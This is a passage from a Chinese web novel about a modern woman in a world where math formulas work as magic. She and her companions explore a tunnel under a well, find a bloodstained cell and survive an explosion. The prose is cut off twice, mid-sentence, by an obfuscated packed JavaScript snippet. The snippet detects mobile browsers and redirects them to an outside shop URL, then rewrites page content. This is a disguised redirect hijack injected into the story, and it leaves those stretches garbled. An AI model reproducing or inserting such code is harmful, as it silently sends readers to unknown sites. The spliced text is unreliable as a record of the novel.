半晌后,还是云叔先开口:“小楚,邱姑娘,你们先去休息吧。” “你。”他看向合乐,“你跟我来,我给你找个房间,先睡觉,等天亮了我们再一起搜一遍后院。” “理解万岁!”这是邱田恬今天听到的第一个好消息,她抻了一下胳膊,抬步要回楼上的天字房间,却被合乐扯住衣角。 “站住!”合乐见她要走,一下子急了,“把我的空痕笔还给我!” 空痕笔,对了,还有这事。 邱田恬又拿出那只毛笔,毛笔通体由紫檀木制成,末端有一圈银质装饰,上面刻着一些邱田恬没见过的文字。刚刚合乐就是用这支笔在空中画下法阵发动魔法。 她看看笔,又看看合乐,迅速把笔收回内袋,眯着眼冷漠道:“为了防止你逃跑,这笔还是得放我这。” 合乐暴跳如雷:“你耍赖!你刚明明说只要我和你们聊聊,你就把笔还给我!” “坏人耍个赖怎么了。”邱田恬干脆把无赖进行到底,“得了,睡觉吧,明天还得打起精神找人呢。” 话罢,她头也不回地上楼了。 空痕笔珍贵无比,那一支笔的价格就是普通人两三年的收入,邱田恬这样一搞,合乐原本想在晚上逃跑的计划彻底泡汤。她气得龇牙咧嘴,狠狠地在地上跺脚,只能对着地板发气。 莫筱初想上前安抚,又被她狠狠瞪了一眼,无助地退回。 云叔见状,赶紧把这小祖宗哄上楼:“好了好了,我们真的不是坏人,也不会对你做什么……” 折腾半晌,几人总算安顿下来。云叔把合乐安排进二楼客房,锁死窗户,才退出来关门。 门口,莫筱初抱着刀,似乎没有回去休息的意思:“云叔,我……” 云叔摆摆手,没让他说完:“我知道,我守上半夜,你守下半夜,你先去休息。” 莫筱初一愣,随即点点头:“好。” 看着莫筱初回到房间后,云叔在一楼到二楼的楼梯上坐下,这里位于旌云楼的中心,一旦哪里有动静,他都能第一时间听见。 只是几人都没注意到,杂草丛生的后院中,早已干涸的水井下,突然闪过一抹诡异的光。 8. 地道 隔日,艳阳高照。 邱田恬是被阳光晒醒的,房间朝向正南,太阳升起时阳光就已经倾洒而下,到辰时,就晒到了床上。 她迷迷糊糊爬起来,摸到身下垫了两床褥子还有些发硬的床板,再看看眼前的雕花木梁,才反应过来,自己穿越了。 昨日她和莫筱初睡在山林里,古代山林的自然景色倒和现代没太大区别,她还没什么感觉,但今天在屋内苏醒,那种身处异世的割裂感一下油然而生。 但邱田恬没有纠结太久,她伸了个懒腰,翻身起床、穿衣。她还记得昨晚发生的事,今天注定也是忙碌的一天。 换好衣服,她开门往外看看,走廊上还是一片寂静,不知道莫筱初醒了没有。她回到房间,从枕头底下拿出昨晚没收合乐的那支笔,准备自己先研究研究。 这笔被合乐称为“空痕笔”,这个名称再加上昨晚合乐用它发动魔法的场景,它的作用不言而喻。 邱田恬已经向莫筱初询问过一些关于魔法的基础信息。比如魔法发动的条件,除了魔术和咒文外,还有个硬性基础,那就是“媒介”。 咒文需要“呈现”才能发动,就比如那天两人在地上画出法阵和咒文,书写就是最直观的呈现。除此之外,用纸笔书写也可以发动,材料是没有限制的,只需要“呈现”这一结果。 但是显而易见,如果魔法师需要随身携带笔墨纸砚才能发动魔法,未免太麻烦。空痕笔因此诞生。就如昨天合乐的用法一般,空痕笔通过已经刻好的内置法阵,可以让使用者注入魔素,在空气中留痕,这样就可以书写咒文,达到“呈现”的发动条件。 邱田恬试着那天调动魔素的感觉,向着笔中注入,果然,笔尖开始凝聚小小光点,邱田恬随意转动手腕画了几个圈,空中果然出现几个圆圈光痕。 “真神奇。”她自己感慨着,收起魔素,把笔重新放进内袋里。 目前她只知道引火魔法的咒文,也就是那个求根公式,但她可不敢在这写出,万一像树林里那次突然燃起大火,这旌云楼怕是要直接变成废墟。 至于其他魔法,邱田恬其实很想试试,既然求根公式可以引火,那三角函数、对数指数呢?其他数学公式呢?是不是也有对应的魔法?不过还是别自己摸索,万一整出点大威力的把自己伤到就不好了。 恰好在此时,门口响起敲门声,随后传来莫筱初的声音:“姑娘醒了吗?云叔煮了粥,可以先垫垫肚子。” 听到声音,邱田恬打开门,莫筱初还是那副打扮,看着精神不错,但眼下可见一点青黑。邱田恬看他这幅样子愣了一下,但没多说,如常跟着他下楼:“昨晚有什么异常吗?” “没有。”莫筱初答道:“合乐也没逃跑,虽然还是对我们敌意很重,但好歹可以交流了。” 楼下,旌云楼大门紧闭,云叔今天好像没有开业的意思,那些店员小厮也都没有来。此时方形小桌上摆着一锅白粥和几碟小菜,四人的碗筷也摆放在四边。 合乐依旧臭着脸坐在椅子上,面前的粥碗一动没动。旁边的云叔倒是吃的来劲,已经开始盛第二碗粥。看见莫筱初带着邱田恬从楼上下来,他挥挥手:“快来吃,要凉了。” 不知道为什么,邱田恬感觉面前这一幕有点温馨,她已经很久没有经历过这种有人等着吃饭的生活。身侧,莫筱初走上前,帮她拉开椅子,自己坐在另一侧,帮邱田恬把粥盛上。 她坐下,第一口还没送进嘴里,就感到身旁直勾勾盯来的目光。回头,合乐正看着她手里的碗,又抬头看向邱田恬的脸,发现邱田恬也在看她,浑身一僵,赶紧又低下头。 这小孩真难搞。 邱田恬在心里叹气,她不喜欢也不擅长带孩子,莫筱初倒是看着很合适,但他那张通缉犯脸,怕是最让这小孩害怕。 没办法,只能她开口:“吃吧,没毒。不吃饭一会怎么有劲找你哥哥?要不你就吃我这碗。” 说完,没等合乐开口,邱田恬就把自己的粥碗换到她面前,然后喝换来的这碗粥。 合乐咽了口口水,她确实饿了,纠结半晌,还是拿起碗筷开始狼吞虎咽。 “你们到底是什么意思?”吃了一半,她突然抬头问,“你们真要帮我?” 云叔此时已经吃完了,开始收拾碗碟,没好气地道:“我们再不帮你,你要把我们全报官了!而且那是我后院,总不能你们一连两人撞鬼,我还能心大到不去检查一番。” 合乐皱着眉,狐疑道:“你们真不是坏人?那他什么情况?”她很没礼貌地用筷子指向莫筱初。 “我?”莫筱初撒谎不打草稿,“因为我根本不是通缉犯啊,我和那人只是长得像而已。” 此言一出,全场寂静。 邱田恬看向莫筱初神色如常的脸,心中不得不佩服,这人有时天真得可笑,说谎居然能面不改色地张口就来。 还是云叔最先搭腔:“是啊,你没听我们都叫他‘小楚’吗?” “是……是吗?” 合乐眼睛滴溜溜扫视莫筱初,怎么看怎么像,但他刚那话说得坦然,之前听到别人对他的称呼也确实不是“莫筱初”三字。 总之合乐决定暂时“相信”这几人,毕竟从他们的身手看,不是普通人,说不定真能帮她找到什么线索。 很快,几人吃完饭。云叔找出一把镰刀,先去后院把齐腰高的杂草割了大半。莫筱初手里拿着后院库房的钥匙,一个一个查看。 那些库房也荒废许久,里面满是灰尘,门口的锁上落满灰,可以确定几间库房都确实没人进去过。 邱田恬看着两人忙活,借着白日阳光,又开始观察整个后院的布局。进入后院就两扇门,一扇是和主屋相连的门,另一扇就是连接小巷的门。她想到昨晚看见的商人和搬箱子的力工,那箱子又大又沉,他们断然不可能带着箱子翻墙。进入后院以后,那些人又为何会突然消失? 只有一种可能,那就是还有一条道可以进出后院。 邱田恬走到后门门口,周围堆着云叔刚刚清理出来的杂草,而这块的地面异常紧实,几乎没有植物生长。 被长期踩踏的地面才会有这种情况。 邱田恬低着头,寸草不生的地面不止门口那一块,从那里开始,有一条不足一尺宽的小道,一路蔓延至庭院中央,直到那个干枯的水井旁边。 她走上前,伸出两根手指在水井的石台上摸了一下——是干净的。 “小楚。”她喊道,“你来看这。” 虽然邱田恬只叫了一个人的名字,但其他三人都凑了过来。 水井很深,深到阳光照不进里面,几人探头看进去,入眼全是一片漆黑。 见状,莫筱初跳上石台,扶着绑水桶的桩子就打算往下跳:“我下去看看。” “你等等!”邱田恬赶紧拉住他:“你也太莽了!先等下!” 她一边说着,一边从内袋拿出空痕笔,递给合乐:“昨天用的魔法你再用一次,照一下井里面的情况。” 事已至此,也不怕合乐拿上笔逃跑,他们的诚意已经给足,合乐但凡聪明一点,就不会着急离开。 果然,合乐拿上笔犹豫片刻,深吸一口气,对准井口先开始书写咒文—— 这次,邱田恬目不转睛,看清楚那几个被写下的字符:“tanα(45)”。 这是三角函数的正切,邱田恬马上回想起这个咒文对应的数学意义。随着合乐最后一个笔画落下,空中的白色符文顷刻扭曲,聚集在一起,随后发出一道笔直的光束,瞬间照亮水井深处的模样。 这道类似手电筒的光和昨晚那种类似闪光弹的发散光还不同,估计在公式上也有所差异。而邱田恬同时发现,合乐所写的公式也和现代数学表达不完全一样。现代数学一般使用“tan(45°)”。 回到此刻,光魔法照下,众人也能看清,水井底部已经没有井水,只剩下一片干燥的尘土。而水井向北的一侧,有一片光束照不透的阴影,很明显是一个通道。 云叔看到那通道,瞬间一身冷汗:“真有东西啊!” 旌云楼开业近十年,他当老板近十年,居然完全不知后院水井里还有这种密道!他一边说着,一边去屋里找绳子,旁边的莫筱初已经跃跃欲试,看见了这通道,怎有不下去一探究竟的道理。 “你也别急!”邱田恬赶紧叫住这大叔,他和莫筱初不愧是熟人,一个赛一个的急性子,“先去找个火折子。” “火折子?要这玩意干什么?”云叔疑惑。 旁边的莫筱初以为还是要做照明,捡起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156305|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把干枯的杂草问道:“用火魔法燃点杂草行不行?” 邱田恬无奈扶额:“要能燃烧时间久一点的东西。” 云叔不明所以,但还是给她找来一个火折子。邱田恬打开竹筒盖子,看着火焰燃起后,她示意合乐暂停照明,直接把火折子扔下水井。 那一星点火光成为黑暗地底的唯一光亮,几人看着那一小簇火苗坠入井底,竹筒碰撞发出清脆的声音,回响在狭窄的井道里。那火苗落地后闪烁几下,依旧向上燃烧着。 等待一分钟后,看见火折子还在燃烧,邱田恬才示意云叔去拿绳子:“没问题,可以下了。” 一旁的莫筱初不明所以:“为什么要先扔火才能下?如果需要照明,合乐的魔法就够了吧。” “不是为了照明。”邱田恬摇摇头,解释道:“这种地道,看着没什么问题,但有可能没有足够氧气进行呼吸,贸然下降可能会有窒息的危险。扔火折子是为了确定下面有氧气流通。” 邱田恬又嘱咐一句:“一会你下去,最好也拿个蜡烛,如果火苗熄灭了,就赶紧出来。” 这段话听得莫筱初一知半解,他不太懂原理,但听得出邱田恬是为安全做考虑,他眼睛一眯,笑道:“姑娘真是什么都知道,会骑马,会生火,真厉害。” 因为邱田恬那番话,云叔拿绳子来的时候,也拿来一个灯笼,不过灯笼里不是发光灯石,而是一截烧了一半的蜡烛。而旁边的莫筱初已经把绳子绑在腰上固定好,准备下井了。 “给,拿好。”云叔把点好蜡烛的灯笼递给莫筱初,“还是年轻好啊,不然我肯定亲自下去瞅瞅。” 莫筱初打趣他:“您歇着吧,要是您来我还怕您卡井里呢。” “你这臭小子!”云叔作势要打他,但没等他抬手,莫筱初就一跃而下! 很快,井里传来落地的声音。 邱田恬捡起绳子,把绳子的末端固定在井旁挂水桶的木桩上,一边打结一边和云叔感慨一句:“大叔,你和他关系到还挺好的。” “毕竟我是看着他长大的。”云叔叉着腰,微微抬头,看着后院被四方围墙框起的天空,“现在这些孩子都命好,生在和平年代,看他活泼,我也开心。” 邱田恬微微抬眸:“大叔您这话说的,听来是有故事啊。” “往事罢了。”云叔看似漫不经心地结束话题,看向水井下方。莫筱初提着灯笼,捡起地上还在燃烧的火折子,扣起盖子收好,随后走进那个深不见底的通道。 现在外面是六月酷暑,但地道里却寒冷如冬,莫筱初感觉到前方的黑暗里传来一阵阵阴风,只是现在不知出口在何处。他提高手中的灯笼,借助灯光照亮更多周围的场景。地道四处都是土,但十分夯实,看上去已经用了很久,地上可以看见来来回回的脚印。 他缓缓向前走去,只能听见自己的脚步声,和风吹过狭长通道后如哭嚎般的回响,在加上寒冷的气温,让他在不知觉间紧张起来。 下一秒,他闻到一股浓烈的铁锈味。再往前几步,被火光照成橘黄色的墙壁上,出现五道深色的血痕。那像是一个人的手,用指甲狠狠扣着墙壁,但又被人拖着拽走,指甲在摩擦中劈裂,血液渗出,只剩下满是鲜血的指腹划过墙壁。 再往前,类似的血迹越来越多,墙上,地上,甚至在地道顶上,满是各色的血痕,有新有旧,已经渗入土中。而除此之外,墙上和地上都变得坑坑洼洼,像是被什么东西击打过。甚至在一个地方,莫筱初看到墙上印着一张脸——那张脸双目圆睁,嘴部大张,鼻子处却没有凹陷,而是一团模糊的血迹,再往旁边看,脸的两侧则是两个完整的血手印…… 莫筱初手上的灯笼一颤,他不敢想象这里面发生过什么,会留下如此痕迹。他又往前迈出几步,身后突然传来一股拉力——绳子被彻底拉直了。 莫筱初看看前面,地道还看不见尽头,不知道还得走多远才能到达出口,他刚准备作罢返回,却看见前面的拐角处也出现一个灯光。 那人影也提个灯笼,刚转弯过来,看见莫筱初后身体猛地顿住。很快,那人发现莫筱初是个生面孔,居然转头就跑! “站住!”莫筱初大喝一声,抬步要追,却又马上被那绳子扯住! 他一咬牙,伸手握住了锁扣。 9. 出口 地面上的几人正在等待的莫筱初的消息,却听见下面传来一声模糊的厉呵,固定在木桩上的绳子突然绷直,剧烈摇晃几下,又松了下去。 邱田恬大感不妙,她赶紧凑到井口向里探去,只见里面依旧漆黑一片,绳子松垮垮地挂在那,半晌没有任何动静。 “那家伙不会做傻事吧……”邱田恬心中暗自腹诽,还没等她纠结接下来该怎么办,就看见井底出现一抹熟悉的火光。 莫筱初举着灯笼,抓着绳子晃晃,朝着井口喊道:“拉我一把!” 听到声音,邱田恬赶紧叫来旁边的几人,一起用力把绳子提起。而莫筱初则一边拉着绳子,一边双脚踩着井壁,很快便回到地面。 周围的环境重新开阔,温度也回归正常,莫筱初总算松口气,给大家大概说了下井底的情况。 “我被人看到了。”说完那些血痕和人脸后,莫筱初沉声道:“但我不知道对面那人是干什么的,但他看见我拔腿就跑,肯定有鬼。” 邱田恬微微皱眉:“有没有看清他的外貌?” 莫筱初回忆道:“没太看清楚,但那人的左手臂上有一道很长的刀疤。” 他在自己的手臂上比划一下,那条刀疤几乎贯穿整个小臂:“他用左手提灯,我看得清楚,就这么长。” 闻言,旁边的合乐激动道:“那就是阿生!我哥那个发小,失踪肯定和他有关系!” 她一边说着,一边跑到井边,眼见就要往下跳。 只是恰好云叔在那站着,伸手就把她拉了回来。小姑娘太激动,只会把自己置入危险之中。 “云叔,你怎么想?”莫筱初看向他。 云叔神色阴沉,半晌后,才慢慢说道:“报官,让官府来处理。” 听到这两个字,邱田恬一愣:“报官,你确定?”她看向莫筱初,虽然之前把合乐蒙骗过去,但莫筱初毕竟身份敏感,真要在这个节骨眼报官吗? 莫筱初似乎看出邱田恬的担忧,他安抚道:“没事,我们一会收拾一下东西就离开。” 他稍微停顿一下:“姑娘应该会一起跟我走吧?” 邱田恬点头:“会倒是会,但你接下来打算去哪?” “打算从这往南走,去天都……” 他话还没说完,突然被一声厉呵打断:“不行!不能等报官!” 回头,合乐咬着牙,神色焦急:“官府那群人根本不会上心我们这些老百姓!等他们过来查,贼人早就全跑了!你们要是不敢下,我自己下!” 她话音未落,就突然从云叔身边如鱼一样游过,起身一跃而下! “合乐!”云叔连忙伸手抓她,但她速度太快,已经落入井口,手中的空痕笔挥动,唤出风魔法轻身和光魔法照亮,安稳地落地。 莫筱初也急了,他凑去井口朝里面大喊:“快上来!事情没你想的那么简单!” 然而合乐内心焦急,早已听不进去劝告,她抬头看向几人小小的脑袋,毅然决然道:“我很感谢你们的帮助,你们想报官就报吧!我先自己查!” 话罢,她扭头跑入地道之中。 看到合乐的动作,邱田恬心中一惊。这小孩冲动的性格一眼可见,但也着实没想到她能如此不冷静。邱田恬也凑到水井旁看去,只见合乐带着光亮早已消失,不知道跑入多深的地方。 俗话说得好,帮人不必帮到底,送佛不必送到西。继续追查是合乐的选择,他们已经决定报官,那邱田恬的当务之急就是赶紧和莫筱初离开这个是非之地,至于后续发生什么,邱田恬也不在意…… 她正这样想着,身侧,突然刮过一阵轻风,带着清脆的金属碰撞声。邱田恬定睛一看,居然看见莫筱初拿着灯笼重新跳了下去! “喂,你干什么!”邱田恬真感觉两眼一黑,怎么这人也上头了! 莫筱初一落地,就头也不回地追着合乐的背影跑去,只留下一句话在井底回荡:“我把她带回来!” 这都什么人啊!邱田恬在内心哀嚎,看着莫筱初的身影也消失在深处,她突然生出一种严重的不安,仿佛本身在一条平坦的轨道上行驶,列车却开始突然摇晃,眼看就要脱轨。 “啧。”她轻声咋舌,捡起散落一旁的绳子,迅速在自己身上打好八字绳结,抓紧绳子翻身进入井口,慢慢向下移动,冲着还在地面上的云叔喊道:“云叔!先别报官了,看好绳子!” 云叔因为体型进不去那狭小的井口,只能在地面上像热锅上的蚂蚁一样急得团团转。看着邱田恬也快到井底,他只能跑回屋子拿了什么,又扔入井中:“姑娘,你拿着防身!小心为上啊!” 邱田恬听到重物落地的声音,低头看去,居然是一把锋利的匕首。她拾起利刃,没再多话,朝着地道前方的光源跑去。 …… 邱田恬向前跑出几步就感觉有些腿软,这地道阴森狭窄,高度只够她勉强站立,再想到莫筱初之前看到的恐怖痕迹,她不禁一身冷汗,甚至有点想要呕吐。 她真觉得自己疯了,为什么自己也会追下来,为了合乐吗?还是为了莫筱初?那两人一个武功高强,一个精通魔法,自己一个普通人跟下来到底要干什么!? 邱田恬越想越后悔,但已经因为一时冲动到了这个地方,也没有回头路可走。她三步并做两步,已经追上莫筱初的身后。 “小楚!”她还是习惯叫这个名字,“你看到她了吗?” 听到邱田恬的声音,莫筱初一愣,但很快回答道:“还没,前面有个转角,转过去应该就能看见她。” 他正说着,前方灯光照亮的墙壁上已然出现那些血痕,但两人脚步快速,没有余力再去关心那些。 “这下面真让人难受。”邱田恬眉头锁死,眼神中的厌恶不言而喻,喉咙里的呕吐感也愈发强烈。她的脚步不自觉更快,想要尽快离开这里。 但前面的路好像很长,过了莫筱初刚刚折返的地方,地道的路变得复杂起来,周围出现许多岔路,不知道通往何处,也不知道合乐从哪跑了。 “走这边。”邱田恬很快选定一条,莫筱初顺着她的目光看去,那条路的下方有一处重物被拖过产生的拖拽痕迹。 “姑娘真是很厉害啊……”莫筱初不知该如何感慨,自从相遇,邱田恬一直在给他惊喜。他看向旁边的年轻女生,她的面庞在灯笼微弱的火光中忽明忽暗,但却莫名给人一种安心的感觉。 与邱田恬的相遇,或许是他这次离家旅途中最宝贵的收获。 两人一路走,心底愈发寒凉,这地道太深了,他们已经走了将近二十分钟,还是没有看到出口,而合乐的身影也不知所踪,或许是在岔道那就已经和他们选择了不同的路。 地道里安静得出奇,只有两人行走的脚步声,邱田恬觉得进退维谷,前面看不见出路,后面也早就回不去入口。而她身体上的不适愈发明显,不得已只能叫住莫筱初,扶着墙壁喘气:“等下,我缓一缓。” 闻声,莫筱初停下脚步,回头看去,才发现邱田恬脸色苍白,呼吸急促,捂着胸口的手也一直在颤抖,好像痛苦难当。 莫筱初心中一惊,赶紧过去扶住邱田恬,焦急道:“你没事吧,哪里不舒服?” “没事,老毛病……”邱田恬摆摆手,想要继续迈步前行,却突然脚下一软,地面突然迎着她撞来! 下一秒,她落入一个温暖的怀中。 莫筱初伸手扶住她的胳膊,防止她继续向下倒去。他看到邱田恬颈后已经被冷汗浸湿的衣襟,深知她这个状态,没法再继续行动。 “抱歉,冒犯了。” 莫筱初突然蹲下,右手环着她的腰,左手从她的膝弯穿过,没等邱田恬反应过来,就把她横着抱起,随后向前跑去,寻找出口。 邱田恬只感觉眼前天旋地转,感官再度清晰时,自己已经靠着那个温暖的胸膛。莫筱初跑得匆忙,但怀中却十分平稳,邱田听见他急促的心跳和逐渐沉重的呼吸,才瞬间反应过来自己身在何处! 这算什么,公主抱!? 邱田恬从没和他人产生过如此亲密的接触,耳尖爆红的同时,抵触感也油然而生,她想挣脱,身体又软得像面条一样没有力气,只能偷偷捂住脸,试图用冰凉的手心降低脸上燥热的温度。 莫筱初也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156306|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意到她的动作,稍微放缓脚步,低头看去:“好点了吗?” 邱田恬还捂着脸,声音闷闷地传来:“好点了……” “那就好!”莫筱初紧皱的眉头一下舒展开来,语气也轻松几分:“我看见光了,应该快到出口了。” 他说着,重新加快脚步,向着前方跑去。 邱田恬稍微岔开指缝,从缝隙往外看,可以看见前方确实出现光亮,一个长方形的形状,赫然是一扇门。 靠近出口,邱田恬感觉身体的力气已经恢复,便让莫筱初放她下来。而当两人走近那扇门时,却不可避免地闻到一股恶臭,像是在闷热的夏天里很久没有清理的公厕,让人不禁屏住呼吸。 莫筱初走上前,推推门,纹丝不动。那门果然是锁死的,见状,他拔出腰间长刀:“姑娘先后退一些。” 邱田恬连忙后退几步,随后看莫筱初屏息凝神,双手握住刀柄,大喝一声,斜斩而下!脆弱的木门瞬间一分为二,门后的场景映入眼帘。 那是一个地下室,十平米左右,右边墙壁上方有个长条形的气窗,外面堆满稻草,只有几束光亮顽强穿过稻草,投入这狭小的房间中,照亮四周墙壁上黑褐色的抓痕。空气中弥漫着一股发酸的霉味,混杂着陈年尿骚味和干涸的血腥气 他们的正前方还有一扇门,估计是通往地面的门。除此之外,地上散落着许多破碎的瓷碗碎片,还有几块已经发霉的黑面馒头。气窗下有一堆破破烂烂的草席,被随意堆成一团。 而四周的墙根处,分明钉着许多铁环,牢牢固定在墙体里。 邱田恬用袖口捂着口鼻,稍微减弱那刺鼻气味的攻击力,看着地下室的布局,她不禁想到一种恐怖的可能性。 旁边的莫筱初也因为这里的气味而皱眉,他观察四周,随后走向气窗下的那堆草席。他刚刚就注意到了,这草席不是随意堆在这里,而像是在掩盖什么东西。 他略显嫌弃地用刀鞘挑起草席的一角,向另一侧掀开,在看清下面的东西时,他瞳孔骤缩! “炸药包!” 几乎同时,头顶被稻草挡住的气窗突然传来动静,那稻草被一个粗糙的黑手拨开几寸,随后,一个红色的东西从缝隙中被扔下——那是个点燃的炮仗!正朝着炸药包直直坠去! 没有思考的时间,莫筱初转身向邱田恬跑去,揽住她的腰肢,用自身做矛,朝着通向地面的那扇门狠狠撞去!好在那木门年久失修,已经脆若薄纸,被莫筱初一下撞破。邱田恬此时也反应过来,反客为主地拉住旧力刚去新力未生的莫筱初,在狭小过道中迅速朝上跑去。 但终究,还是稍晚一步。 身后,一声短促的脆响后,沉闷的巨响猛然迸发,滚烫的气浪夹杂着碎石土屑,瞬间吞没那刚刚破碎的门口。两人还在那狭小的通道之中,后背被那股强大的冲击波狠狠一撞,身体瞬间失衡,在地上滚动几圈,五脏六腑好似都移了位。 爆炸一波未停一波又起,但邱田恬只感觉浑身肌肉酸软,耳边满是尖锐的嗡鸣声。她看见莫筱初狼狈地爬起,向她扑来,把她死死护在身下。 “轰——”巨大的爆炸声再响,但预想中的冲击与炽热,却没有如期而至。 两人都是一愣,莫筱初撑起身体,抬头看去,只见两人的周围不知何时升起一个半球体的白色屏障,周围烈火燃烧,却无法靠近他们分毫。 “散。” 不知何处,传来如绸缎柔和又如雷贯耳的铿锵之声。随着一声令下,那些熊熊燃烧的火焰像是有了生命般,居然真的纷纷向两边散去,露出一条干净的道路。 而道路镜头,赫然有个人影,朝着这边一步步走近。 邱田恬眯起眼睛,终于看清来人的样貌。 只见这人手上拿着一支通体银白的毛笔,乌黑的长发用银簪高高挽起,身着月白色的垂胡袖劲装,腰间束着条宽边青色锦带,右侧随意挂着一枚墨色木牌,上面刻着一个金色的“甲”字,下方还有两个小字——“许澜”。 她缓缓走近站定,叉着腰,语气无奈道: “莫二少,你这是又闯什么祸了?” 10. 炸药 许澜,二十五岁,渠京人,国家甲级魔法师。 半个月前,她乘坐云舟到北方城市同庆办事,很快完成工作。本打算再乘云舟返回天都,却不料同庆大风,云舟飞不过来,下一趟班次直接延期到一个月后。而铁路又因为一周前的洪涝被淹,现在还在检修,不知何时才能重新开通。许澜没办法,只能走马道返回天都。 刚好,从同庆到天都,渠京隔在中间,自己又是渠京人,到了老家岂有不回去看看的道理?所以许澜快到渠京时联系云叔,自己应该六月二十三日就能到达。 六月二十二日晚,许澜到达渠京城郊,还未正式入城,但天色已晚,城门早就关闭,她只能在路边的一处驿站歇息一晚。但这驿站却有些许诡异,按理来说,渠京这种大城市,每天来往的人都很多,和许澜一样因为时间无法当日进城的人一般也很多,但是今天晚上,驿站外的马厩里拴着五六匹马,驿站里面却只有她一个客人。 但许澜也没多想,洗漱完后早早睡下,夜半时分,她被楼下窸窸窣窣的动静和喊叫声吵醒,皱着眉走下楼查看情况,只见几个店小二手上都拿着棍子,看见许澜还被吓了一跳,随后连忙解释是在打老鼠,还给许澜送了夜宵点心做赔偿。 现在想来,许澜那时也是心大,觉得打老鼠发出如此声音也是情有可原,吃了两口糕点,继续回房睡觉。 结果,她这一觉睡醒,居然睡到日上三竿,而且脑袋还昏昏沉沉,像是被人打了一样。 穿好衣服下楼后,许澜彻底怔住——整座驿站空无一人,门口的马厩也空空荡荡,甚至连自己骑来的马都不见了! 许澜这才想到昨晚那些诡异的动静,还有那盘糕点,怕不是掺了东西! 正当此时,她看见客栈侧面还有个人影,正伏在地上,扒拉堆在墙角的一堆稻草,旁边则停着许澜骑来的那只白马。她定睛一看,那人就是昨晚栓马的马夫,警惕地抽出空痕笔,呵道:“你在干什么!?” 那马夫浑身一颤,回头看见许澜,往下扔了什么后转头上马就跑!许澜刚要抬步去追,身后却猛地发生爆炸!让她不得不发动魔法护住身体,而下一秒,她看见爆炸扬起的烈火和尘土中,出现一个熟悉的身影…… …… 莫筱初觉得在此处遇到熟悉的身影,定然是祖宗在泉下花了不少功德,不然第二次爆炸席卷,他和邱田恬定然都会命丧此处。 此时两人皆已被许澜带出火场,离开几十米远的距离,看着那座由木头修成的驿站越烧越旺,浓密的黑烟冲天而起,引得不少过路人侧目。 许澜已经检查过,那驿站里除了他们三人外没有活口,也拦住几波想去救火的人。她已经给渠京城内的潜火队送去消息,但他们过来还需要一段时间。为了防止还有不明所以的路人靠近,许澜干脆用屏障先把火场隔离,等待潜火队到达。 邱田恬的目光在莫筱初和许澜中间辗转,这两人明显是熟人,莫筱初一口一个“许澜姐”,很快就把这两天的事告诉了她。 许澜皱着眉疑惑:“你说你们是从老云后院的水井到这来的?从这到旌云楼,得有二里路啊。” 莫筱初点点头:“我们也很意外,对于旌云楼后院这个密道,许澜姐你之前知道吗?” 她摇摇头:“当然不知道,我已经很多年没回渠京了,老云那的情况,他都不清楚,我更不清楚。” 邱田恬听着两人有一搭没一搭的闲聊,倒觉得神奇。听许澜所言,她也是云叔的熟人,莫筱初现在被全国通缉,他们居然还能这么心平气和地和莫筱初交流,也没有半点出卖他的意思。不知这群人到底是何等好友,才能彼此之间如此信任。 但邱田恬现在有更关心的事,她看向莫筱初,打断他们闲聊,弱弱地问道:“要不你先想想……我们一会怎么回渠京城里?” 邱田恬很快看到莫筱初脸上的表情僵住碎裂。 是啊!他们没有身份文牒,上次进城是混在商人货车里进去的,现在过了个地道,结果又出来了! 莫筱初满头大汗,尴尬地咳嗽两声:“咳咳,车到山前必有路,船到桥头自然直……” 他转头装可怜地看向许澜:“姐姐,你会帮我们的吧~” “……”许澜满脸嫌弃,后退两步,“别拿对付你哥那套对付我,没用。” 她正说着,远处传来敲锣声,只见一辆刷着红漆的铁制汽车飞速驶来,车顶上有围栏,围栏里站这个人,手上提着一个小锣,另一手拿着锣锤“哐哐哐”敲着。 邱田恬忍不住在心里吐槽,真是好朴实的警铃方式。 这红色铁皮汽车一看就是灭火车,邱田恬对于这里有汽车并不意外,毕竟这个世界已经有天上飞的云舟,地上跑的肯定不止有马。只不过邱田恬在渠京城内一辆汽车都没见过,想来这东西估计也只是有钱人的玩具,平民百姓家还是少见。 当然,在救灾方面,技术是最先进的。只见这灭火车伴随敲锣打鼓声赶来,车里蹿出四五个穿着黑衣的人,打开车厢,居然也扯出一段粗长的橡胶水管。水管头部由一圈金属固定,上面刻着圆形法阵。潜火队员扶着水管对准火焰下方,金属上的法阵骤然亮起,随后高压水柱喷泄而出。 邱田恬看得一愣一愣,询问莫筱初:“这也是魔法师在操控吗?” “不是哦。”莫筱初摇摇头,“是魔法道具,普通人也能使用。” 这番对话,倒是引起许澜的兴趣,她看向莫筱初旁边看着二十岁左右的女生,问道:“小楚,介绍一下?” 莫筱初如梦初醒,这才想起还未给两人介绍对方,所以赶紧说道:“这位是邱田恬,暂时与我同行。她有些失忆,对很多事情不了解。” 莫筱初很自然地使用邱田恬之前找的借口,随后向着邱田恬介绍许澜:“这位是许澜,她也是魔法师。” “看得出来。”邱田恬主动伸出手,“幸会。” 许澜也伸出手和她相握,笑道:“幸会,小楚会在外面找个伴,倒是稀奇。刚刚说‘也’是魔法师,莫非姑娘你……” 许澜确实聪明,从莫筱初那一两句话中就听出端倪。邱田恬也没打算隐藏,只是自己现在确也称不上魔法师,于是讪讪笑道:“懂一点皮毛罢了。” 